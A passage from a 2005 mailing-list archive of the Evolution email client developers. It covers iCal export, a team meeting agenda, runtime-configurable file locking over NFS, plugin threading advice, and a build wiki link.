mailgw.cs.york.ac.uk with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1D0TrH-0001tj-Uf; Mon, 14 Feb 2005 00:12:59 +0000 Received: from venice.cs.york.ac.uk ([144.32.40.17] helo=localhost.localdomain ident=2103) by minster.cs.york.ac.uk with esmtp (Exim 4.44) id 1D0TrH-0006o4-Nx; Mon, 14 Feb 2005 00:13:00 +0000 Subject: Re: [Evolution-hackers] Automated export of iCal files From: =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos To: ali Cc: evolution-hackers@lists.ximian.com In-Reply-To: <46d2106605021309532dc8df61@mail.gmail.com> References: <46d2106605021309532dc8df61@mail.gmail.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-zpn+UkWo0471y1QgMifm" Organization: Computer Science, University of York Date: Mon, 14 Feb 2005 00:13:01 +0000 Message-Id: <1108339981.8764.8.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3-1.1.101mdk X-Spam-Status: No, hits=-18.7 required=5.0 tests=IN_REP_TO,PGP_SIGNATURE_2,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-zpn+UkWo0471y1QgMifm Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Le dimanche 13 f=C3=A9vrier 2005 =C3=A0 18:53 +0100, ali a =C3=A9crit : > Hi together, >=20 > in the last few days i have been researching to find out, how to > pubshlish my calender data in the web. I found much groupware > software which is half-evolution ready, or is planning to be > compatible to it (Plugins missing and stuff alike). >=20 > I now found a way: Export my calender data using evolution 2 into the > iCal format, put this file online via webdav, ftp and then let it be > parsed by some cron-controled shell-script. > But in the step of publishing the information to the server (which of > the protocols are used is not important to me) i get a problem: > Evolution has no option to do so. I can't export to a WebDAV resource > that easily. It seems as this is not implemented (at least i did not > find anything in the docs) and so i was wondering if there is a > command line option to export the calender, so that a shell script on > my debian system will export my calender data every 3 hours, put it > online and care about parsing. >=20 > I need this so that there is an autmated process that holds my online > calender data up to date. I wasn't able to figure out a better way, so > i'm looking for the cli option for evolution to export to iCal > format. >=20 > Can anybody help out here? > Thanks in advance >=20 > Al Hi, This is a feature request, and a GNOME bounty, I am working on it and I almost have it working, I need to clean up the patch and see if the evolution-hackers will accept it but... In the meantime, no, evolution does not do it, well at least not the whole calendar. Patience, --=20 St=C3=A9phane Konstantaropoulos Computer Science, University of York --=-zpn+UkWo0471y1QgMifm Content-Type: application/pgp-signature; name=signature.asc Content-Description: Ceci est une partie de message =?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?= -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBCD+0NsZFoeToEeG4RAoPEAJ9TjWTAZZwafVy1Wm45esGQW1RPXACeK1qI MhhKmGug3pDFqqB9ia5sS58= =CaME -----END PGP SIGNATURE----- --=-zpn+UkWo0471y1QgMifm-- From alispost@gmail.com Mon Feb 14 14:52:26 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B93FC12451A; Mon, 14 Feb 2005 14:52:26 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.203]) by lists.ximian.com (Postfix) with ESMTP id 65B271244DB for ; Mon, 14 Feb 2005 14:52:14 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 69so677154wra for ; Mon, 14 Feb 2005 11:52:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=ViiUQpA0EgurVJ9D0KdZ+pQCFQYu8WlfUZ/Y8ACNxMKjr2W/3jF5HOTvu0knbzNMu2GLj5zVkvCZTu6CgTrNmNmLwNAQta5jmP9Q3qCQrabBgd3iYmhZAxLwgYZwOBgXfKc3JhObWK4DPonFb4W19CAlhE/h/Aq1Dg7EtlVp6Fg= Received: by 10.54.41.71 with SMTP id o71mr209405wro; Mon, 14 Feb 2005 11:52:13 -0800 (PST) Received: by 10.54.23.55 with HTTP; Mon, 14 Feb 2005 11:52:13 -0800 (PST) Message-ID: <46d2106605021411525db81698@mail.gmail.com> Date: Mon, 14 Feb 2005 20:52:13 +0100 From: ali Reply-To: ali To: =?ISO-8859-1?Q?St=E9phane_Konstantaropoulos?= Subject: Re: [Evolution-hackers] Automated export of iCal files Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1108339981.8764.8.camel@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable References: <46d2106605021309532dc8df61@mail.gmail.com> <1108339981.8764.8.camel@localhost.localdomain> X-Spam-Status: No, hits=-15.5 required=5.0 tests=BAYES_20,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Stephane, thanks for your comment. I will wait until either your patch or other activities on this topic have reached beta-testing-level to test it. On Mon, 14 Feb 2005 00:13:01 +0000, St=E9phane Konstantaropoulos wrote: > Le dimanche 13 f=E9vrier 2005 =E0 18:53 +0100, ali a =E9crit : > > Hi together, > > > > in the last few days i have been researching to find out, how to > > pubshlish my calender data in the web. I found much groupware > > software which is half-evolution ready, or is planning to be > > compatible to it (Plugins missing and stuff alike). > > > > I now found a way: Export my calender data using evolution 2 into the > > iCal format, put this file online via webdav, ftp and then let it be > > parsed by some cron-controled shell-script. > > But in the step of publishing the information to the server (which of > > the protocols are used is not important to me) i get a problem: > > Evolution has no option to do so. I can't export to a WebDAV resource > > that easily. It seems as this is not implemented (at least i did not > > find anything in the docs) and so i was wondering if there is a > > command line option to export the calender, so that a shell script on > > my debian system will export my calender data every 3 hours, put it > > online and care about parsing. > > > > I need this so that there is an autmated process that holds my online > > calender data up to date. I wasn't able to figure out a better way, so > > i'm looking for the cli option for evolution to export to iCal > > format. > > > > Can anybody help out here? > > Thanks in advance > > > > Al >=20 > Hi, >=20 > This is a feature request, and a GNOME bounty, I am working on it and I > almost have it working, I need to clean up the patch and see if the > evolution-hackers will accept it but... >=20 > In the meantime, no, evolution does not do it, well at least not the > whole calendar. >=20 > Patience, > -- > St=E9phane Konstantaropoulos > Computer Science, University of York >=20 >=20 > From jpr@novell.com Tue Feb 15 01:22:37 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ABC2D124D7F; Tue, 15 Feb 2005 01:22:37 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id C9607124D81 for ; Tue, 15 Feb 2005 01:22:25 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Mon, 14 Feb 2005 23:22:13 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 15 Feb 2005 01:21:57 -0500 Message-Id: <1108448517.6456.55.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.2.0 and 2.2.1 timeline -2.1 notification reminder -Patch review mode reminder 2. Team -individual status reports 3. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From ealtin@parkyeri.com Tue Feb 15 11:54:44 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DA917124E72; Tue, 15 Feb 2005 11:54:44 -0500 (EST) Received: from fatstacks.parkyeri.net (unknown [193.192.101.206]) by lists.ximian.com (Postfix) with ESMTP id C6D7B124E5C for ; Tue, 15 Feb 2005 11:54:30 -0500 (EST) Received: from [81.214.124.250] (helo=roadrunner-parkyeri) by fatstacks.parkyeri.net with asmtp (Exim 3.35 #1 (Debian)) id 1D15y0-0008TD-00; Tue, 15 Feb 2005 18:54:29 +0200 From: Enver ALTIN To: evolution-hackers@lists.ximian.com Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-hcprXR5ie3lSpnrmRhGc" Organization: Parkyeri Date: Tue, 15 Feb 2005 18:54:14 +0200 Message-Id: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-0.9 required=5.0 tests=BAYES_30,PGP_SIGNATURE_2,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Making file-locking configurable at runtime? (UG#4795) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-hcprXR5ie3lSpnrmRhGc Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hi, We have a somewhat complex intranet consisting of several XDMCP/NFS servers and we're running applications with NFS mounted home folders (probably other folders too). NFS servers are running in vserver context and are using somewhat modified kernels (some security and vserver patches added) so I've been told that we're not able to get rpc.statd work properly. Thus, neither fcntl() nor flock() works for us. For that reason, I have re-packaged evolution with file-locking disabled and dot-locking enabled. While we're at it, we have been wondering if it could be possible to make it configurable at runtime. What I think is, to convert compile time things a lookup to GConf and do the preferred way of locking. If I come up with a patch implementing this, would that ever get committed? Thanks, --=20 .O. ..O Enver ALTIN | http://skyblue.gen.tr/ OOO Software developer @ Parkyeri | http://www.parkyeri.com/ --=-hcprXR5ie3lSpnrmRhGc Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQBCEik2ZCB2FZvqK0sRAs1MAJ9gl2djQdWvg5gDI/Z5KqE+PXKMmwCeNM8O tvNithH8ecoiX8HZ+q7XZTY= =r4WH -----END PGP SIGNATURE----- --=-hcprXR5ie3lSpnrmRhGc-- From notzed@ximian.com Tue Feb 15 19:32:17 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 023B6124B3D; Tue, 15 Feb 2005 19:32:16 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id A7A16124E8F for ; Tue, 15 Feb 2005 19:32:05 -0500 (EST) Received: (qmail 14754 invoked from network); 16 Feb 2005 00:32:04 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 16 Feb 2005 00:32:04 -0000 Subject: Re: [Evolution-hackers] Making file-locking configurable at runtime? (UG#4795) From: Not Zed To: Enver ALTIN Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> References: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> Content-Type: multipart/alternative; boundary="=-KsYENbYSBmpr/ETOJ0Bp" Date: Wed, 16 Feb 2005 08:26:44 +0800 Message-Id: <1108513604.4972.36.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-17.3 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_20_30,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-KsYENbYSBmpr/ETOJ0Bp Content-Type: text/plain Content-Transfer-Encoding: 7bit On Tue, 2005-02-15 at 18:54 +0200, Enver ALTIN wrote: > Hi, > > We have a somewhat complex intranet consisting of several XDMCP/NFS > servers and we're running applications with NFS mounted home folders > (probably other folders too). > > NFS servers are running in vserver context and are using somewhat > modified kernels (some security and vserver patches added) so I've been > told that we're not able to get rpc.statd work properly. Thus, neither > fcntl() nor flock() works for us. > > For that reason, I have re-packaged evolution with file-locking disabled > and dot-locking enabled. While we're at it, we have been wondering if it > could be possible to make it configurable at runtime. Well thats why its configurable at build time, *generally* it is a site issue, and evolution is free software. Although it is possible to conceive of complex situations in which 2 different locking types were required on different filesystems. > What I think is, to convert compile time things a lookup to GConf and do > the preferred way of locking. If I come up with a patch implementing > this, would that ever get committed? An environmental variable would probably suffice. Is there any reason that wouldn't be good enough? camel definitely can't use gconf, although an api could be added to set the locking mode, and that called from code that can. --=-KsYENbYSBmpr/ETOJ0Bp Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Tue, 2005-02-15 at 18:54 +0200, Enver ALTIN wrote: 
Hi,

We have a somewhat complex intranet consisting of several XDMCP/NFS
servers and we're running applications with NFS mounted home folders
(probably other folders too).

NFS servers are running in vserver context and are using somewhat
modified kernels (some security and vserver patches added) so I've been
told that we're not able to get rpc.statd work properly. Thus, neither
fcntl() nor flock() works for us.

For that reason, I have re-packaged evolution with file-locking disabled
and dot-locking enabled. While we're at it, we have been wondering if it
could be possible to make it configurable at runtime.
Well thats why its configurable at build time, *generally* it is a site issue, and evolution is free software.  Although it is possible to conceive of complex situations in which 2 different locking types were required on different filesystems. 
What I think is, to convert compile time things a lookup to GConf and do
the preferred way of locking. If I come up with a patch implementing
this, would that ever get committed?
An environmental variable would probably suffice.  Is there any reason that wouldn't be good enough?

camel definitely can't use gconf, although an api could be added to set the locking mode, and that called from code that can.



--=-KsYENbYSBmpr/ETOJ0Bp-- From notzed@ximian.com Wed Feb 16 03:46:07 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4EBB6124EBF; Wed, 16 Feb 2005 03:46:07 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 59054124206 for ; Wed, 16 Feb 2005 03:45:55 -0500 (EST) Received: (qmail 15213 invoked from network); 16 Feb 2005 08:45:52 -0000 Received: from localhost (HELO ?192.168.1.56?) (127.0.0.1) by localhost with SMTP; 16 Feb 2005 08:45:52 -0000 Subject: Re: [Evolution-hackers] EPlugin, export mail folder, Update! From: Not Zed To: smurfd Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1108148144.22547.14.camel@192.168.1.5> References: <1099011143.1019.11.camel@localhost.localdomain> <1100789458.15224.9.camel@localhost.localdomain> <1100836172.10838.127.camel@lostzed.mmc.com.au> <1100982290.16626.47.camel@localhost.localdomain> <1101095738.8961.19.camel@lostzed.mmc.com.au> <1101225710.23468.50.camel@localhost.localdomain> <1101259289.4648.26.camel@lostzed.mmc.com.au> <1103078190.6171.37.camel@localhost.localdomain> <1103503793.7539.72.camel@lostzed.mmc.com.au> <1106106356.24483.14.camel@localhost.localdomain> <1106108732.28087.28.camel@lostzed.mmc.com.au> <1106187210.1353.23.camel@localhost.localdomain> <1106619154.23363.3.camel@lostzed.mmc.com.au> <1108148144.22547.14.camel@192.168.1.5> Content-Type: multipart/alternative; boundary="=-2K7dctTP/BJEsWrO7X23" Date: Wed, 16 Feb 2005 16:40:24 +0800 Message-Id: <1108543224.28727.8.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-17.3 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_20_30,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-2K7dctTP/BJEsWrO7X23 Content-Type: text/plain Content-Transfer-Encoding: 7bit On Fri, 2005-02-11 at 19:55 +0100, smurfd wrote: > >Using the mail-mt stuff is good since it does some of the setup work > >for you, and lets you setup 4 callbacks, one to say what you're doing, > >one to do the work in the other thread, one to do any work back in the > >gui thread, and one to clean up. You also have a little control over > >scheduling - i.e. should it run in a new thread or just use one of the > >thread queues, so you don't get too much thrashing. > > Ah okey, well i have been into using that sollution a couple of times, > but well i still havent really got it to work as i wanted it. > > Today i realised Why i havent got it to work as i wanted it. > > well i have 3 functions in that struct that gets executed, and thought > that a 4th could be used to run the compression part there. > so i got 'a__desc', 'a__exp', 'a__cpio', 'a__free' so the thought here > was to get __exp to deliver the mails to the location where i wanted it, > say /home/smurfd/backup/ and then to run the compression on That > folder. > > Why you ask, why not just run the compression on the right-clicked > folder? Well ive been heavily debating this (with myself) and after many > debates, i came up with that running it on the exported directory would > be better, since than i wouldnt have to care about if the user > right-clicks a non-local folder, say IMAP or whatever for the > compression part. > > sounds sane? > > That way, i need to have the "exportion" part to be finished Before the > compression part takes place. > Easy, just have the compression part take place in the __cpio function, > right? > NO, that wont work, and after serious thinking, serious headsmashing, i > realised Why that is... > > Thats because in the __exp i have 'mail_get_folder()' wich itself spawns > a new thread, and that way, the __exp thinks its work is done, before it > "really" is... Well, you should be running the whole shooting match in another thread already? You are right? Then you don't use mail_get_folder() at all, you can just use the camel calls directly, or the mail helper, mail_tools_uri_to_folder(). You then use camel_operation to pass any status to the main ui, if you need to. You could also perhaps do mail_msg_wait() on the return of mail_get_folder(), although it would be simpler to avoid all that extra thread stuff entirely. > So im gonna have to borrow some more code i guess... and make small > modifications on it to fit my needs. > > Better to re-use, than to re-invent i guess. :) > > Best regards > /Nicklas > > --=-2K7dctTP/BJEsWrO7X23 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Fri, 2005-02-11 at 19:55 +0100, smurfd wrote: 
>Using the mail-mt stuff is good since it does some of the setup work
>for you, and lets you setup 4 callbacks, one to say what you're doing,
>one to do the work in the other thread, one to do any work back in the
>gui thread, and one to clean up.  You also have a little control over
>scheduling - i.e. should it run in a new thread or just use one of the
>thread queues, so you don't get too much thrashing.

Ah okey, well i have been into using that sollution a couple of times,
but well i still havent really got it to work as i wanted it.

Today i realised Why i havent got it to work as i wanted it.
 
well i have 3 functions in that struct that gets executed, and thought
that a 4th could be used to run the compression part there.
so i got 'a__desc', 'a__exp', 'a__cpio', 'a__free' so the thought here
was to get __exp to deliver the mails to the location where i wanted it,
say /home/smurfd/backup/ and then to run the compression on That
folder. 

Why you ask, why not just run the compression on the right-clicked
folder? Well ive been heavily debating this (with myself) and after many
debates, i came up with that running it on the exported directory would
be better, since than i wouldnt have to care about if the user
right-clicks a non-local folder, say IMAP or whatever for the
compression part.

sounds sane?

That way, i need to have the "exportion" part to be finished Before the
compression part takes place.
Easy, just have the compression part take place in the __cpio function,
right?
NO, that wont work, and after serious thinking, serious headsmashing, i
realised Why that is...

Thats because in the __exp i have 'mail_get_folder()' wich itself spawns
a new thread, and that way, the __exp thinks its work is done, before it
"really" is...

Well, you should be running the whole shooting match in another thread already?  You are right?

Then you don't use mail_get_folder() at all, you can just use the camel calls directly, or the mail helper, mail_tools_uri_to_folder().  You then use camel_operation to pass any status to the main ui, if you need to.

You could also perhaps do mail_msg_wait() on the return of mail_get_folder(), although it would be simpler to avoid all that extra thread stuff entirely.

So im gonna have to borrow some more code i guess... and make small
modifications on it to fit my needs.

Better to re-use, than to re-invent i guess. :)

Best regards
/Nicklas
--=-2K7dctTP/BJEsWrO7X23-- From ealtin@parkyeri.com Wed Feb 16 08:41:15 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5E9961242CB; Wed, 16 Feb 2005 08:41:15 -0500 (EST) Received: from fatstacks.parkyeri.net (unknown [193.192.101.206]) by lists.ximian.com (Postfix) with ESMTP id B48C4124026 for ; Wed, 16 Feb 2005 08:41:03 -0500 (EST) Received: from [213.74.28.131] (helo=[192.168.27.48]) by fatstacks.parkyeri.net with asmtp (Exim 3.35 #1 (Debian)) id 1D1PQL-0007rP-00 for ; Wed, 16 Feb 2005 15:41:01 +0200 Subject: Re: [Evolution-hackers] Making file-locking configurable at runtime? (UG#4795) From: Enver ALTIN To: evolution-hackers@lists.ximian.com In-Reply-To: <1108513604.4972.36.camel@lostzed.mmc.com.au> References: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> <1108513604.4972.36.camel@lostzed.mmc.com.au> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-9zknAdvgJ+i/gq+1wf9e" Organization: Parkyeri Date: Wed, 16 Feb 2005 15:40:44 +0200 Message-Id: <1108561244.9967.14.camel@roadrunner.skyblue.gen.tr> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-28.3 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-9zknAdvgJ+i/gq+1wf9e Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hi, On Wed, 2005-02-16 at 08:26 +0800, Not Zed wrote: > > What I think is, to convert compile time things a lookup to GConf and d= o > > the preferred way of locking. If I come up with a patch implementing > > this, would that ever get committed? > An environmental variable would probably suffice. Is there any reason > that wouldn't be good enough? Actually, yes. An environment variable would fit very well. Thanks, --=20 .O. ..O Enver ALTIN | http://skyblue.gen.tr/ OOO Software developer @ Parkyeri | http://www.parkyeri.com/ --=-9zknAdvgJ+i/gq+1wf9e Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQBCE01cZCB2FZvqK0sRAuHjAJ98WCbGAmAMw12WyxsG9U+oYlRcXQCeNtWh c0J+AXcuwId35astYgEr6MA= =msd+ -----END PGP SIGNATURE----- --=-9zknAdvgJ+i/gq+1wf9e-- From spamfrommailing@freax.org Thu Feb 17 16:13:07 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 145321247E2; Thu, 17 Feb 2005 16:13:06 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 9AFD11247D9 for ; Thu, 17 Feb 2005 16:12:55 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id A86A013942C1; Thu, 17 Feb 2005 22:12:50 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 23564-10; Thu, 17 Feb 2005 22:12:43 +0100 (CET) Received: from lort (dD577524A.access.telenet.be [213.119.82.74]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 2922B1394210; Thu, 17 Feb 2005 22:12:43 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com, gnome-hackers@gnome.org Content-Type: text/plain Date: Thu, 17 Feb 2005 22:12:43 +0100 Message-Id: <1108674763.9004.1.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Information about hacking on Evolution Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I've updated this wiki a bit. Stuff like debugging a running Evolution process has been hadded. http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS Hf. -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org From rodrigo@novell.com Fri Feb 18 08:32:24 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 49BB3124E5D; Fri, 18 Feb 2005 08:32:24 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 87A33124E83 for ; Fri, 18 Feb 2005 08:32:12 -0500 (EST) Received: (qmail 19621 invoked from network); 18 Feb 2005 13:32:11 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 18 Feb 2005 13:32:11 -0000 From: Rodrigo Moya To: spamfrommailing@freax.org Cc: gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108674763.9004.1.camel@localhost.localdomain> References: <1108674763.9004.1.camel@localhost.localdomain> Content-Type: text/plain Date: Fri, 18 Feb 2005 14:29:43 +0100 Message-Id: <1108733383.22947.3.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-22.0 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Information about hacking on Evolution Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > I've updated this wiki a bit. Stuff like debugging a running Evolution > process has been hadded. > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS > shouldn't this better be at the Evolution wiki? (live.gnome.org/Evolution) It's indeed a good addition to the BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource -- Rodrigo Moya From 